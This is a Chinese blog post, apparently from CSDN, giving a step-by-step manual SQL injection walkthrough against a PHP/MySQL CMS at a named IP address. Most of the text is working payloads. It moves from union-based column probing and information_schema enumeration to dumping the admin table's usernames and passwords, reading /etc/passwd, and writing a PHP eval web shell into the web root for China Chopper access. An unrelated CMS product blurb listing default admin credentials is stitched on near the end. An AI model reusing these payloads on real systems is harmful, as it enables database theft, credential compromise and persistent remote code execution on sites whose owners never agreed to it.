PHP+MySQL手工注入

本文深入探讨SQL注入原理,通过实例演示如何发现、利用并实施SQL注入攻击,包括注入点识别、数据库列数量判断、特定数据库函数使用、元数据库查询、系统表信息获取等关键步骤,并最终展示木马注入实现过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、发现注入点:
202.1.160.100/xycms/showproducts.php?id=12 and 1=1
202.1.160.100/xycms/showproducts.php?id=12 and 1=2
发现在1=1中,正确显示内容
在1=2中,没有任何显示。可以判定,此处存在SQL注入
2、判断数据库列的数量
利用order by 语句,如下面所示:
202.1.160.100/xycms/showproducts.php?id=12 order by 10

202.1.160.100/xycms/showproducts.php?id=12 order by 11

在这两句中,第一句正确显示了,而第二句,没有任何显示,可以判定此数据库中列的数量为10列

3、判断数据库列的数量(二)
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 1,2,3,4,5,6,7,8,9,10
显示内容如下:
可以看到页面中回显了2、6、7、8、10
说明可以通过2、6、7、8、10列得到相应的信息。

4、针对MySQL数据库中函数的使用
@@version:得到操作系统的版本信息
@@basedir: MySQL的安装路径
@@datadir:MySQL数据路径
database():数据库名称
user():用户名
current_user:当前用户名
可以通过替换回显的数字,如:
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 1,2,3,4,5,6,7,8,9,@@version
来显示对应的信息。

5、group_concat()函数的使用
group_concat()函数可以把各种信息拼接到一块,如可以这样子:
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 1,2,3,4,5,6,7,8,9,group_concat(database(),0x20,user(),0x20,@@version,0x20,@@basedir,0x20,@@datadir,0x20,current_user)
会把刚才函数得到的信息一起显示出来。

6、MySQL数据库5.0版本元数据库information_schema的使用
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。

7、获取系统表的名字
构造语句:
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 
1,group_concat(TABLE_NAME),3,4,5,6,7,8,9,10 from information_schema.tables
得到如下信息:



8、获取数据库表的名字
构造语句
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 
1,group_concat(TABLE_NAME),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()
可以得到数据库中所有表的名字:
9、获取manage_user表的列
通过构造语句:
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 
1,group_concat(COLUMN_NAME),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database() and table_name='manage_user'
得到下面信息:
四个列都有了。

10、获得manage_user表的值
构造下列语句:
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 
1,group_concat(id,0x20,m_name,0x20,m_pwd,0x20,c_date),3,4,5,6,7,8,9,10 from xycms.manage_user

11、获得系统中文件的信息
在前面就看到了,用户名使用的是root权限,就可以很好的利用一下这一点信息:
构造下列语句:
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 1,load_file('/etc/passwd'),3,4,5,6,7,8,9,10
得到下列信息:
可以看到数据库中的所有信息都列出来了。

12、木马注入:
通过构造下列语句:
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
'<?php @eval($_POST[cmd]); ?>' into dumpfile '/var/www/xycms/index_bak.php'
然后利用中国菜刀连接
202.1.160.100/xycms/index_bak.php    密码cmd
就实现了木马注入。

SQL注入手工注入就实现了。当然根据不同的数据库有不同的内容,这个需要掌握其他数据库的相关内容!

后台路径:admin/,用户名、密码:admin 该源码使用用途:爱好者学**或者研究,禁止用作商业建站。 本机测试环境:windowxp/windows7 IIS【必须此环境】 由于测试小工具“aspweb.exe”对utf8编码兼容性差,所以用户不要用此工具测试。 网站运行环境:ASP ACCESS html utf8 优点:UTF8编码国际通用,不会出现乱码现象。 更新记录: 1.更换编辑器,支持加水印 2.加上静态html生成接口 3.修正后台基本信息添加不上BUG 网站功能: 安全性:防SQL注入,自动锁定入侵的IP地址,防XSS攻击,具有很好的过滤系统 功能简述: 企业信息管理:包括基本信息管理,添加,在线报名信息管理,问答中心信息管理 新闻中心管理:管理新闻信息内容,管理相关分类,添加或者删除 产品内容管理:对产品类别进行管理,分为大类和小类,发布最新产品信息 客户案例管理:对客户案例内容进行管理 招聘信息管理:发布一些招聘信息 其他信息管理:查看管理员登录记录,首页视频内容管理,可以进行修改操作 系统设置:进行系统相关基本信息设置,如网站名称,企业信息等基本信息。可以管理是否关闭网站,注册是否审核,留言是否审核 LOGO/形象图片管理:首页LOGO管理 安全管理:看相关违规操作记录,查询攻击IP地址,自动封闭IP,管理SQL信息 安全设置:根据需要设置一些安全过滤信息 首页菜单管理:可以添加,删除菜单信息,打开窗口,是否显示,是否为头部导航或者底部导航栏 管理员管理:对超级管理员信息管理,可以进行添加,删除,修改等操作
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

互联网极客

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值